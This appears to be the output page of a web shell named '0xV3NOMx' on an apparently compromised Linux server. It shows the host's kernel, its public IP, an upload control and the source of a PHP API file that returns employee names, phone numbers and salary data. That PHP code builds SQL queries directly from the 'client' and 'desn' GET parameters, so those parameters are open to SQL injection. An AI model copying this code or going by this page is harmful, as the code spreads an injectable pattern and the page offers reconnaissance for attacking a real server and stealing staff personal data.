0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.227.46.54


Current Path : /var/www/html/oums/api/
Upload File :
Current File : /var/www/html/oums/api/clientDet.php

<?php
    include("sys_connect.php");
    $type = $_GET['type'];
    
    if($type === 'det'){
        $client = $_GET['client'];
        $query = "select ifnull(femplcode, '')as femplcode, ifnull(femplname, '')as femplname,
                    ifnull(fdeptcode, '') as fdeptcode, ifnull(fempldesn, '')as fempldesn,
                    date_format(ifnull(fjoindate, ''),'%d/%m/%Y')as fjoindate, 
                    ifnull(femplmobl, '')as fmob,
                    ifnull(frepthead, '')as frepthead, ifnull(fsalrhead, '')as fsalrhead,
                    ifnull(fsalrbase, '')as fsalrbase 
                    from masempl where fdeptcode='{$client}' and femplstat = 'T'";
        $result = mysqli_query($mycon, $query);
        $count = mysqli_num_rows($result);
        if($count > 0){
            $data = [];
            for($i = 0; $row = mysqli_fetch_assoc($result); $i++){
                $data[$i] = $row;
            }
            echo json_encode(array("errorcode" => 0, "data" => $data, "status" => "success"));
            return;
        }else{
            echo json_encode(array("errorcode" => -1, "data" => "No Data Found", "status" => "failure"));
            return;
        }
    }

    if($type === "desn"){
        $query = "select distinct ifnull(fempldesn, '')as fempldesn from masempl";
        $res = mysqli_query($mycon, $query);
        $count = mysqli_num_rows($res);
        if($count>0){
            $data=[];
            $i = 0;
            while($fetch = mysqli_fetch_assoc($res)){
                $data[$i] = $fetch;
                $i++;
            }
            echo json_encode(array("error_code"=>0, "data"=>$data));
            return;
        }
    }

    if($type === "emplist"){
        $desn = $_GET['desn'];
        $query = "select ifnull(femplcode, '')as femplcode,
                ifnull(femplname, '')as femplname, ifnull(fempldesn, '')as fempldesn
                from masempl where fempldesn = '{$desn}' and femplstat = 'T'";
        $res = mysqli_query($mycon, $query);
        $count = mysqli_num_rows($res);
        if($count>0){
            $data=[];
            $i=0;
            while($row = mysqli_fetch_assoc($res)){
                $data[$i] = $row;
                $i++;
            }
            echo json_encode(array("error_code" => 0, "data" => $data));
            return;
        }else{
            echo json_encode(array("error_code" => -1, "data" => "No data found"));
            return;
        }
    }

?>